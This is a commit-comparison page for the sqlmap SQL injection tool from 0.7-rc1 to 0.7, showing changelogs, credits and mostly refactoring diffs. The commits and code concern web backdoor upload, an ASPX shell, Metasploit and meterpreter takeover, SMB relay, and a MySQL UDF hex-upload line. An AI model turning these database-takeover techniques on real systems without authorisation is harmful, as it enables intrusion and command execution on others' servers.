Compare commits

..

59 Commits
0.7-rc1 ... 0.7

Author SHA1 Message Date
Bernardo Damele
2c98c11e80 user's manual PDF recreated 2009-07-25 16:46:30 +00:00
Bernardo Damele
45e3ce798f Updated documentation with all new features introduced since sqlmap 0.7-rc1 2009-07-25 14:31:44 +00:00
Bernardo Damele
d905e5ef9f Minor bug fix to --os-cmd/--os-shell for Microsoft SQL Server 2009-07-25 11:45:23 +00:00
Bernardo Damele
576cc97742 Minor update to the user's manual, almost there to release 0.7 stable! 2009-07-25 00:25:59 +00:00
Bernardo Damele
b2b2ec8a26 Preparing to release sqlmap 0.7 stable 2009-07-24 23:20:57 +00:00
Bernardo Damele
3d4bfb3263 More appropriate warning message, got rid of a TODO 2009-07-24 23:20:22 +00:00
Bernardo Damele
b4fd71e8b9 Minor adjustment to reflect Metasploit r6849 (http://trac.metasploit.com/changeset/6849) and minor code refactoring. 2009-07-20 14:36:33 +00:00
Bernardo Damele
8096a37940 Major bug fix in --read-file option and minor code refactoring. 2009-07-09 11:50:15 +00:00
Bernardo Damele
cb3d2bac16 Minor improvement so that sqlmap tests also all parameters with no value (ig. par=). 2009-07-09 11:25:35 +00:00
Bernardo Damele
516fdb9356 Avoid to upload the web backdoor to unexisting empty-name directory 2009-07-09 11:11:25 +00:00
Bernardo Damele
24a3a23159 Minor bug fix to --dbms, updated user's manual 2009-07-09 11:05:24 +00:00
Bernardo Damele
4b622ed860 Minor bug fix.
Adapted Metasploit wrapping functions to work with latest msf3 development version too.
2009-07-06 14:40:33 +00:00
Bernardo Damele
0fc4587f02 Added support for reflective meterpreter by default when the target OS
is Windows and minor layout fix
2009-07-03 17:59:20 +00:00
Bernardo Damele
ba2e009fd9 Now it's fixed 2009-06-29 10:15:10 +00:00
Bernardo Damele
bc31bd1dd9 Minor bug fix 2009-06-29 10:13:39 +00:00
Bernardo Damele
fd7de4bbb8 Updated THANKS file 2009-06-24 13:57:50 +00:00
Bernardo Damele
3b9303186e Fixed minor bug with --eta 2009-06-24 13:44:14 +00:00
Bernardo Damele
e5a01d500e Minor bug fix in --update option, updated also Microsoft XML versions file 2009-06-16 15:12:02 +00:00
Bernardo Damele
32067cb676 Added ASPX shell and stager 2009-06-15 14:54:36 +00:00
Bernardo Damele
03a6739fbf Minor layout adjustments 2009-06-11 15:34:31 +00:00
Bernardo Damele
150abc0f1e sqlmap 0.7-rc3: Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or --os-bof is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. Correctly handle fcntl to be imported only on systems different from Windows. Minor code refactoring. 2009-06-11 15:01:48 +00:00
Bernardo Damele
3bca0d4b28 Minor improvement so that user's options can also be passed directly as a dictionary/advancedDict rather than only as an optparse instance. 2009-06-05 10:15:55 +00:00
Bernardo Damele
5ac2b0658c Fixed regular expression to parse burp log file hosts' scheme/port 2009-06-04 14:42:53 +00:00
Bernardo Damele
cfd8a83655 Minor adjustment to get also the port when parsing burp logs 2009-06-04 14:36:31 +00:00
Bernardo Damele
966f34f381 Minor parsing syntax adjustment due to sligh differences between Burp 1.2 lite and professional editions 2009-06-03 15:26:18 +00:00
Bernardo Damele
c7b72abc0e Minor bug fix in parsing Burp (WebScarab too?) log to correctly parse httpS urls 2009-06-03 15:04:40 +00:00
Bernardo Damele
02f6425db8 Work-around to avoid a TypeError traceback when reading a file content on MySQL/MSSQL 2009-06-02 14:24:48 +00:00
Bernardo Damele
93ee4a01e5 HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+ 2009-05-20 14:27:25 +00:00
Bernardo Damele
81d1a767ac Minor bug fix in output manager (dumper) object 2009-05-20 13:56:23 +00:00
Bernardo Damele
8e7282f7c7 Major bug fix to properly pass HTTPS request to HTTP proxy when its provided. It works with both Python 2.4 and Python 2.5 now. It still crashes at httplib level with Python 2.6. 2009-05-20 13:51:25 +00:00
Bernardo Damele
440a52b84d Major bug fix to sql-query/sql-shell functionalities 2009-05-20 10:19:19 +00:00
Bernardo Damele
37d3b3adda Updated THANKS 2009-05-20 09:58:22 +00:00
Bernardo Damele
13de8366d0 Major silent bug fix to multi-threading functionality. Thanks Nico Leidecker for reporting! 2009-05-20 09:34:13 +00:00
Bernardo Damele
f7ee4d578e Updated THANKS file 2009-05-19 15:56:30 +00:00
Bernardo Damele
ef3846e0de Minor fix in Host header value by Oliver Gruskovnjak 2009-05-19 14:40:04 +00:00
Bernardo Damele
45dff4a00a Added new function to search a file within the PATH environment variable paths:
it will be used when sqlmap will be packaged as DEB and RPM
2009-05-12 20:24:47 +00:00
Bernardo Damele
b463205544 Minor fixes for MacOSX 2009-05-12 20:24:00 +00:00
Bernardo Damele
06cc2a6d70 Minor bug fixes and code refactoring 2009-05-11 15:37:48 +00:00
Bernardo Damele
a727427299 Minor fix for Python <= 2.5.2 (os.path.normpath function) 2009-05-06 13:37:51 +00:00
Bernardo Damele
c5d20b8a86 Initial support for ASP web backdoor functionality 2009-05-06 12:14:38 +00:00
Bernardo Damele
f3e8d6db70 Fixed MySQL comment injection 2009-05-01 16:29:45 +00:00
Bernardo Damele
ccedadd780 Finished Mac OS X 2009-04-30 21:42:54 +00:00
Bernardo Damele
e8c115500d Now it works also on Mac OS X 2009-04-30 10:46:50 +00:00
Bernardo Damele
722ca8bf2f Minor "fix" 2009-04-29 19:45:12 +00:00
Bernardo Damele
57b8bb4c8e Minor syntax adjustment for web backdoor functionality 2009-04-28 21:51:22 +00:00
Bernardo Damele
58f3eee390 Updated Microsoft SQL Server XML signatures file and minor bug fix in connection library 2009-04-28 11:11:35 +00:00
Bernardo Damele
1d7de719b9 Almost done with web backdoor functionality 2009-04-28 11:05:07 +00:00
Bernardo Damele
16b4530bbe Minor bug fixes to --os-shell (altought web backdoor functionality still to be reviewed).
Minor common library code refactoring.
Code cleanup.
Set back the default User-Agent to sqlmap for comparison algorithm reasons.
Updated THANKS.
2009-04-27 23:05:11 +00:00
Bernardo Damele
5121a4dcba Send IE7.0 as default User-Agent 2009-04-24 20:13:21 +00:00
Bernardo Damele
406d5df195 Minor layout adjustments 2009-04-24 20:12:52 +00:00
Bernardo Damele
546a6c32e3 Avoid deprecation warning on sha and md5 libraries on Python >= 2.6 2009-04-24 20:10:30 +00:00
Bernardo Damele
6f4035938b Let the user choose also the local address in reverse OOB connection 2009-04-24 10:27:52 +00:00
Bernardo Damele
06e8546177 Finally fixed MSSQL 2000 fingerprint 2009-04-24 10:26:01 +00:00
Bernardo Damele
eeb34eb028 Again, minor fix to MSSQL 2000 fingerprint 2009-04-23 21:13:34 +00:00
Bernardo Damele
4ce74764b7 More verbose when reporting failure to create shellcode/payload stager (via Metasploit) 2009-04-23 20:39:32 +00:00
Bernardo Damele
aec2419410 Fixed character escaping in SQL shell/query functionalities. 2009-04-23 15:37:12 +00:00
Bernardo Damele
1af6898618 Fixed POST parsing when -l option is provided (burp/webscarab log file) 2009-04-23 15:04:28 +00:00
Bernardo Damele
69259c5984 Updated THANKS 2009-04-23 08:42:57 +00:00
Bernardo Damele
8e88b32274 Minor fix in MSSQL 2000 fingerprint 2009-04-23 08:36:39 +00:00
57 changed files with 7656 additions and 4808 deletions

View File

@@ -1,3 +1,27 @@
sqlmap (0.7-1) stable; urgency=low
* Adapted Metasploit wrapping functions to work with latest 3.3
development version too.
* Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
* Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or
--os-bof is selected) when running under Windows because msfconsole
and msfcli are not supported on the native Windows Ruby interpreter.
This make sqlmap 0.7 to work again on Windows too.
* Minor improvement so that sqlmap tests also all parameters with no
value (eg. par=).
* HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and
2.6+.
* Major bug fix to sql-query/sql-shell features.
* Major bug fix in --read-file option.
* Major silent bug fix to multi-threading functionality.
* Fixed the web backdoor functionality (for MySQL) when (usually) stacked
queries are not supported and --os-shell is provided.
* Fixed MySQL 'comment injection' version fingerprint.
* Fixed basic Microsoft SQL Server 2000 fingerprint.
* Many minor bug fixes and code refactoring.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 25 Jul 2009 10:00:00 +0000
sqlmap (0.7rc1-1) stable; urgency=low sqlmap (0.7rc1-1) stable; urgency=low
* Added support to execute arbitrary commands on the database server * Added support to execute arbitrary commands on the database server

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -5,6 +5,9 @@ Chip Andrews <chip@sqlsecurity.com>
at SQLSecurity.com and permission to implement the update feature at SQLSecurity.com and permission to implement the update feature
taking data from his site taking data from his site
Simon Baker <simonb@sec-1.com>
for reporting some bugs
Daniele Bellucci <daniele.bellucci@gmail.com> Daniele Bellucci <daniele.bellucci@gmail.com>
for starting sqlmap project and developing it between July and August for starting sqlmap project and developing it between July and August
2006 2006
@@ -23,9 +26,18 @@ Karl Chen <quarl@cs.berkeley.edu>
for providing with the multithreading patch for the inference for providing with the multithreading patch for the inference
algorithm algorithm
Pierre Chifflier <pollux@debian.org> Y P Chien <ypchien@cox.net>
for uploading the sqlmap 0.6.2 Debian package to the official Debian for reporting a minor bug
project repository
Pierre Chifflier <pollux@debian.org> and Mark Hymers <ftpmaster@debian.org>
for uploading and accepting the sqlmap Debian package to the official
Debian project repository
Ulises U. Cune <ulises2k@gmail.com>
for reporting a bug
Alessandro Curio <alessandro.curio@gmail.com>
for reporting a minor bug
Stefano Di Paola <stefano.dipaola@wisec.it> Stefano Di Paola <stefano.dipaola@wisec.it>
for suggesting good features for suggesting good features
@@ -57,6 +69,9 @@ Ivan Giacomelli <truemilk@insiberia.net>
for suggesting a minor enhancement for suggesting a minor enhancement
for reviewing the documentation for reviewing the documentation
Oliver Gruskovnjak <oliver.gruskovnjak@gmail.com>
for providing me with a minor patch
Davide Guerri <d.guerri@caspur.it> Davide Guerri <d.guerri@caspur.it>
for suggesting an enhancement for suggesting an enhancement
@@ -71,6 +86,12 @@ Will Holcomb <wholcomb@gmail.com>
for his MultipartPostHandler class to handle multipart POST forms and for his MultipartPostHandler class to handle multipart POST forms and
permission to include it within sqlmap source code permission to include it within sqlmap source code
Daniel Hückmann <sanitybit@gmail.com>
for reporting a minor bug
Mounir Idrassi <mounir.idrassi@idrix.net>
for his compiled version of UPX for Mac OS X
Luke Jahnke <luke.jahnke@gmail.com> Luke Jahnke <luke.jahnke@gmail.com>
for reporting a bug when running against MySQL < 5.0 for reporting a bug when running against MySQL < 5.0
@@ -80,6 +101,9 @@ Anant Kochhar <anant.kochhar@secureyes.net>
Alexander Kornbrust <ak@red-database-security.com> Alexander Kornbrust <ak@red-database-security.com>
for reporting a couple of bugs for reporting a couple of bugs
Nicolas Krassas <krasn@ans.gr>
for reporting a bug
Guido Landi <lists@keamera.org> Guido Landi <lists@keamera.org>
for the great technical discussions for the great technical discussions
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
@@ -88,9 +112,10 @@ Guido Landi <lists@keamera.org>
Nico Leidecker <nico@leidecker.info> Nico Leidecker <nico@leidecker.info>
for providing me with feedback on a few features for providing me with feedback on a few features
for reporting a couple of bugs
Gabriel Lima <pato@bugnet.com.br> Gabriel Lima <pato@bugnet.com.br>
for reporting a bug for reporting a couple of bugs
Pavol Luptak <pavol.luptak@nethemba.com> Pavol Luptak <pavol.luptak@nethemba.com>
for reporting a bug when injecting on a POST data parameter for reporting a bug when injecting on a POST data parameter

View File

@@ -47,6 +47,7 @@ UPDATE udftest SET data=CONCAT(data,0x000000000000000004000000000000006500000001
-- Note that /TODO/plugin DOES NOT -- Note that /TODO/plugin DOES NOT
-- exist by default so it is NOT possible to save the SO in the proper -- exist by default so it is NOT possible to save the SO in the proper
-- folder where MySQL server looks for SOs. -- folder where MySQL server looks for SOs.
-- SHOW VARIABLES WHERE variable_name='plugin_dir';
-- --
-- References: -- References:
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html -- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html

View File

@@ -63,8 +63,8 @@ class Magic:
def __del__(self): def __del__(self):
try: try:
magic_close(self.cookie) magic_close(self.cookie)
except Exception, e: except Exception, _:
print "got thig: ", e pass
_magic_mime = None _magic_mime = None

View File

@@ -54,11 +54,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
v_files = [] v_files = []
v_vars = [] v_vars = []
try: try:
for(key, value) in data.items(): for(key, value) in data.items():
if type(value) == file: if type(value) == file:
v_files.append((key, value)) v_files.append((key, value))
else: else:
v_vars.append((key, value)) v_vars.append((key, value))
except TypeError: except TypeError:
systype, value, traceback = sys.exc_info() systype, value, traceback = sys.exc_info()
raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback

BIN
lib/contrib/upx/macosx/upx Executable file

Binary file not shown.

View File

@@ -27,7 +27,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re import re
import time import time
from lib.controller.action import action
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
@@ -295,9 +294,9 @@ def checkStability():
infoMsg = "testing if the url is stable, wait a few seconds" infoMsg = "testing if the url is stable, wait a few seconds"
logger.info(infoMsg) logger.info(infoMsg)
firstPage, firstHeaders = Request.queryPage(content=True) firstPage, _ = Request.queryPage(content=True)
time.sleep(1) time.sleep(1)
secondPage, secondHeaders = Request.queryPage(content=True) secondPage, _ = Request.queryPage(content=True)
condition = firstPage == secondPage condition = firstPage == secondPage

View File

@@ -36,7 +36,6 @@ from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapNotVulnerableException from lib.core.exception import sqlmapNotVulnerableException
from lib.core.session import setInjection from lib.core.session import setInjection
from lib.core.target import createTargetDirs from lib.core.target import createTargetDirs
@@ -105,7 +104,6 @@ def start():
logger.info(infoMsg) logger.info(infoMsg)
hostCount = 0 hostCount = 0
receivedCookies = []
cookieStr = "" cookieStr = ""
setCookieAsInjectable = True setCookieAsInjectable = True

View File

@@ -33,7 +33,6 @@ from lib.core.data import kb
from lib.core.data import queries from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedDBMSException
class Agent: class Agent:
@@ -284,10 +283,6 @@ class Agent:
fieldsToCastList = fieldsToCastStr.replace(", ", ",") fieldsToCastList = fieldsToCastStr.replace(", ", ",")
fieldsToCastList = fieldsToCastList.split(",") fieldsToCastList = fieldsToCastList.split(",")
# TODO: really needed?!
#if query.startswith("SELECT ") and "(SELECT " in query:
# fieldsSelectFrom = None
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr

View File

@@ -43,6 +43,7 @@ from lib.core.data import paths
from lib.core.data import queries from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapFilePathException
from lib.core.settings import IS_WIN
from lib.core.settings import SQL_STATEMENTS from lib.core.settings import SQL_STATEMENTS
from lib.core.settings import VERSION_STRING from lib.core.settings import VERSION_STRING
@@ -86,8 +87,7 @@ def paramToDict(place, parameters=None):
if condition: if condition:
value = elem[1] value = elem[1]
if value: testableParameters[parameter] = value
testableParameters[parameter] = value
if conf.testParameter and not testableParameters: if conf.testParameter and not testableParameters:
paramStr = ", ".join(test for test in conf.testParameter) paramStr = ", ".join(test for test in conf.testParameter)
@@ -141,9 +141,9 @@ def formatDBMSfp(versions=None):
def formatFingerprintString(values, chain=" or "): def formatFingerprintString(values, chain=" or "):
string = "|".join([v for v in values]) strJoin = "|".join([v for v in values])
return string.replace("|", chain) return strJoin.replace("|", chain)
def formatFingerprint(target, info): def formatFingerprint(target, info):
@@ -224,73 +224,94 @@ def getHtmlErrorFp():
def getDocRoot(): def getDocRoot():
"""
This method returns the web application document root based on the
detected absolute files paths in the knowledge base.
"""
docRoot = None docRoot = None
pagePath = os.path.dirname(conf.path)
if kb.os == "Windows":
defaultDocRoot = "C:/Inetpub/wwwroot/"
else:
defaultDocRoot = "/var/www/"
if kb.absFilePaths: if kb.absFilePaths:
logMsg = "retrieved the possible injectable " for absFilePath in kb.absFilePaths:
logMsg += "file absolute system paths: " absFilePathWin = None
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
logger.info(logMsg)
else:
warnMsg = "unable to retrieve the injectable file "
warnMsg += "absolute system path"
logger.warn(warnMsg)
for absFilePath in kb.absFilePaths: if re.search("([\w]\:[\/\\\\]+)", absFilePath):
if conf.path in absFilePath: absFilePathWin = absFilePath
index = absFilePath.index(conf.path) absFilePath = absFilePath[2:].replace("\\", "/")
docRoot = absFilePath[:index]
break absFilePath = os.path.normpath(absFilePath)
if pagePath in absFilePath:
index = absFilePath.index(pagePath)
docRoot = absFilePath[:index]
if absFilePathWin:
docRoot = "C:/%s" % docRoot.replace("\\", "/")
break
if docRoot: if docRoot:
logMsg = "retrieved the remote web server " infoMsg = "retrieved the web server document root: '%s'" % docRoot
logMsg += "document root: '%s'" % docRoot logger.info(infoMsg)
logger.info(logMsg)
else: else:
warnMsg = "unable to retrieve the remote web server " warnMsg = "unable to retrieve the web server document root"
warnMsg += "document root"
logger.warn(warnMsg) logger.warn(warnMsg)
message = "please provide the web server document root "
message += "[%s]: " % defaultDocRoot
inputDocRoot = readInput(message, default=defaultDocRoot)
if inputDocRoot:
docRoot = inputDocRoot
else:
docRoot = defaultDocRoot
return docRoot return docRoot
def getDirectories(): def getDirs():
"""
This method calls a function that returns the web application document
root and injectable file absolute system path.
@return: a set of paths (document root and absolute system path).
@rtype: C{set}
@todo: replace this function with a site crawling functionality.
"""
directories = set() directories = set()
kb.docRoot = getDocRoot() if kb.os == "Windows":
defaultDir = "C:/Inetpub/wwwroot/test/"
else:
defaultDir = "/var/www/test/"
if kb.docRoot: if kb.absFilePaths:
directories.add(kb.docRoot) infoMsg = "retrieved web server full paths: "
infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
logger.info(infoMsg)
pagePath = re.search("^/(.*)/", conf.path) for absFilePath in kb.absFilePaths:
if absFilePath:
directories.add(os.path.dirname(absFilePath))
else:
warnMsg = "unable to retrieve any web server path"
logger.warn(warnMsg)
if kb.docRoot and pagePath: message = "please provide any additional web server full path to try "
pagePath = pagePath.groups()[0] message += "to upload the agent [%s]: " % defaultDir
inputDirs = readInput(message, default=defaultDir)
directories.add("%s/%s" % (kb.docRoot, pagePath)) if inputDirs:
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
for inputDir in inputDirs:
if inputDir:
directories.add(inputDir)
else:
directories.add(defaultDir)
return directories return directories
def filePathToString(filePath): def filePathToString(filePath):
string = filePath.replace("/", "_").replace("\\", "_") strRepl = filePath.replace("/", "_").replace("\\", "_")
string = string.replace(" ", "_").replace(":", "_") strRepl = strRepl.replace(" ", "_").replace(":", "_")
return string return strRepl
def dataToStdout(data): def dataToStdout(data):
@@ -326,18 +347,18 @@ def dataToOutFile(data):
return rFilePath return rFilePath
def strToHex(string): def strToHex(inpStr):
""" """
@param string: string to be converted into its hexadecimal value. @param inpStr: inpStr to be converted into its hexadecimal value.
@type string: C{str} @type inpStr: C{str}
@return: the hexadecimal converted string. @return: the hexadecimal converted inpStr.
@rtype: C{str} @rtype: C{str}
""" """
hexStr = "" hexStr = ""
for character in string: for character in inpStr:
if character == "\n": if character == "\n":
character = " " character = " "
@@ -457,17 +478,17 @@ def randomStr(length=5, lowercase=False):
return rndStr return rndStr
def sanitizeStr(string): def sanitizeStr(inpStr):
""" """
@param string: string to sanitize: cast to str datatype and replace @param inpStr: inpStr to sanitize: cast to str datatype and replace
newlines with one space and strip carriage returns. newlines with one space and strip carriage returns.
@type string: C{str} @type inpStr: C{str}
@return: sanitized string @return: sanitized inpStr
@rtype: C{str} @rtype: C{str}
""" """
cleanString = str(string) cleanString = str(inpStr)
cleanString = cleanString.replace("\n", " ").replace("\r", "") cleanString = cleanString.replace("\n", " ").replace("\r", "")
return cleanString return cleanString
@@ -483,8 +504,8 @@ def checkFile(filename):
raise sqlmapFilePathException, "unable to read file '%s'" % filename raise sqlmapFilePathException, "unable to read file '%s'" % filename
def replaceNewlineTabs(string): def replaceNewlineTabs(inpStr):
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__") replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
replacedString = replacedString.replace(temp.delimiter, "__DEL__") replacedString = replacedString.replace(temp.delimiter, "__DEL__")
return replacedString return replacedString
@@ -760,11 +781,13 @@ def pollProcess(process):
returncode = process.poll() returncode = process.poll()
if returncode != None: if returncode is not None:
if returncode == 0: if returncode == 0:
dataToStdout(" done\n") dataToStdout(" done\n")
else: elif returncode < 0:
dataToStdout(" quit unexpectedly by signal %d\n" % returncode) dataToStdout(" process terminated by signal %d\n" % returncode)
elif returncode > 0:
dataToStdout(" quit unexpectedly with return code %d\n" % returncode)
break break
@@ -806,3 +829,22 @@ def getCharset(charsetType=None):
asciiTbl.extend(range(96, 123)) asciiTbl.extend(range(96, 123))
return asciiTbl return asciiTbl
def searchEnvPath(fileName):
envPaths = os.environ["PATH"]
result = None
if IS_WIN is True:
envPaths = envPaths.split(";")
else:
envPaths = envPaths.split(":")
for envPath in envPaths:
envPath = envPath.replace(";", "")
result = os.path.exists(os.path.normpath("%s/%s" % (envPath, fileName)))
if result == True:
break
return result

View File

@@ -23,13 +23,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
try: import md5
import md5 import sha
import sha
except DeprecationWarning, _:
from hashlib import md5
from hashlib import sha
import struct import struct
import urllib import urllib

View File

@@ -134,6 +134,11 @@ class Dump:
def dbTables(self, dbTables): def dbTables(self, dbTables):
if not isinstance(dbTables, dict):
self.string("tables", dbTables)
return
maxlength = 0 maxlength = 0
for tables in dbTables.values(): for tables in dbTables.values():
@@ -232,8 +237,8 @@ class Dump:
for column in columns: for column in columns:
if column != "__infos__": if column != "__infos__":
info = tableValues[column] info = tableValues[column]
lines = "-" * (int(info["length"]) + 2) lines = "-" * (int(info["length"]) + 2)
separator += "+%s" % lines separator += "+%s" % lines
separator += "+" separator += "+"
@@ -248,19 +253,21 @@ class Dump:
for column in columns: for column in columns:
if column != "__infos__": if column != "__infos__":
info = tableValues[column] info = tableValues[column]
maxlength = int(info["length"]) maxlength = int(info["length"])
blank = " " * (maxlength - len(column)) blank = " " * (maxlength - len(column))
self.__write("| %s%s" % (column, blank), n=False) self.__write("| %s%s" % (column, blank), n=False)
if not conf.multipleTargets and field == fields: if not conf.multipleTargets and field == fields:
dataToDumpFile(dumpFP, "\"%s\"" % column) dataToDumpFile(dumpFP, "\"%s\"" % column)
else: elif not conf.multipleTargets:
dataToDumpFile(dumpFP, "\"%s\"," % column) dataToDumpFile(dumpFP, "\"%s\"," % column)
field += 1 field += 1
self.__write("|\n%s" % separator) self.__write("|\n%s" % separator)
if not conf.multipleTargets: if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n") dataToDumpFile(dumpFP, "\n")
@@ -279,14 +286,15 @@ class Dump:
blank = " " * (maxlength - len(value)) blank = " " * (maxlength - len(value))
self.__write("| %s%s" % (value, blank), n=False) self.__write("| %s%s" % (value, blank), n=False)
if field == fields: if not conf.multipleTargets and field == fields:
dataToDumpFile(dumpFP, "\"%s\"" % value) dataToDumpFile(dumpFP, "\"%s\"" % value)
else: elif not conf.multipleTargets:
dataToDumpFile(dumpFP, "\"%s\"," % value) dataToDumpFile(dumpFP, "\"%s\"," % value)
field += 1 field += 1
self.__write("|") self.__write("|")
if not conf.multipleTargets: if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n") dataToDumpFile(dumpFP, "\n")

View File

@@ -24,8 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import sys
from lib.core.settings import PLATFORM from lib.core.settings import PLATFORM
from lib.core.settings import PYVERSION from lib.core.settings import PYVERSION
from lib.core.settings import VERSION from lib.core.settings import VERSION

View File

@@ -31,8 +31,6 @@ import logging
import os import os
import re import re
import socket import socket
import sys
import time
import urllib2 import urllib2
import urlparse import urlparse
@@ -42,8 +40,6 @@ from lib.core.common import getFileType
from lib.core.common import parseTargetUrl from lib.core.common import parseTargetUrl
from lib.core.common import paths from lib.core.common import paths
from lib.core.common import randomRange from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@@ -59,6 +55,9 @@ from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.optiondict import optDict from lib.core.optiondict import optDict
from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import IS_WIN
from lib.core.settings import PLATFORM from lib.core.settings import PLATFORM
from lib.core.settings import SITE from lib.core.settings import SITE
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
@@ -100,7 +99,17 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
reqResList = fread.split("======================================================") reqResList = fread.split("======================================================")
port = None
scheme = None
for request in reqResList: for request in reqResList:
if scheme is None:
schemePort = re.search("\d\d[\:|\.]\d\d[\:|\.]\d\d\s+(http[\w]*)\:\/\/.*?\:([\d]+)", request, re.I)
if schemePort:
scheme = schemePort.group(1)
port = schemePort.group(2)
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I): if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
continue continue
@@ -134,10 +143,12 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
getPostReq = True getPostReq = True
# GET parameters
elif "?" in line and "=" in line and ": " not in line: elif "?" in line and "=" in line and ": " not in line:
data = line data = line
params = True params = True
# Cookie and Host headers
elif ": " in line: elif ": " in line:
key, value = line.split(": ", 1) key, value = line.split(": ", 1)
@@ -146,9 +157,16 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
elif key.lower() == "host": elif key.lower() == "host":
host = value host = value
# POST parameters
elif method is not None and method == "POST" and "=" in line:
data = line
params = True
if getPostReq and params: if getPostReq and params:
if not url.startswith("http"): if not url.startswith("http"):
url = "http://%s%s" % (host, url) url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
scheme = None
port = None
if not kb.targetUrls or url not in addedTargetUrls: if not kb.targetUrls or url not in addedTargetUrls:
kb.targetUrls.add(( url, method, data, cookie )) kb.targetUrls.add(( url, method, data, cookie ))
@@ -252,24 +270,40 @@ def __setMetasploit():
if not conf.osPwn and not conf.osSmb and not conf.osBof: if not conf.osPwn and not conf.osSmb and not conf.osBof:
return return
debugMsg = "setting the takeover out-of-band functionality"
logger.debug(debugMsg)
msfEnvPathExists = False
if IS_WIN is True:
warnMsg = "Metasploit's msfconsole and msfcli are not supported "
warnMsg += "on the native Windows Ruby interpreter. Please "
warnMsg += "install Metasploit, Python interpreter and sqlmap on "
warnMsg += "Cygwin or use Linux in VMWare to use sqlmap takeover "
warnMsg += "out-of-band features. sqlmap will now continue "
warnMsg += "without calling any takeover feature"
logger.warn(warnMsg)
conf.osPwn = None
conf.osSmb = None
conf.osBof = None
return
if conf.osSmb: if conf.osSmb:
isAdmin = False isAdmin = False
if "win" in PLATFORM: if "linux" in PLATFORM or "darwin" in PLATFORM:
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
isAdmin = True
elif "linux" in PLATFORM:
isAdmin = os.geteuid() isAdmin = os.geteuid()
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0: if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
isAdmin = True isAdmin = True
# TODO: add support for Mac OS X elif IS_WIN is True:
#elif "darwin" in PLATFORM: isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
# pass
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
isAdmin = True
else: else:
warnMsg = "sqlmap is not able to check if you are running it " warnMsg = "sqlmap is not able to check if you are running it "
@@ -281,18 +315,13 @@ def __setMetasploit():
isAdmin = True isAdmin = True
if isAdmin != True: if isAdmin is not True:
errMsg = "you need to run sqlmap as an administrator/root " errMsg = "you need to run sqlmap as an Administrator/root "
errMsg += "user if you want to perform a SMB relay attack " errMsg += "user if you want to perform a SMB relay attack "
errMsg += "because it will need to listen on a user-specified " errMsg += "because it will need to listen on a user-specified "
errMsg += "SMB TCP port for incoming connection attempts" errMsg += "SMB TCP port for incoming connection attempts"
raise sqlmapMissingPrivileges, errMsg raise sqlmapMissingPrivileges, errMsg
debugMsg = "setting the out-of-band functionality"
logger.debug(debugMsg)
msfEnvPathExists = False
if conf.msfPath: if conf.msfPath:
condition = os.path.exists(os.path.normpath(conf.msfPath)) condition = os.path.exists(os.path.normpath(conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath)) condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath))
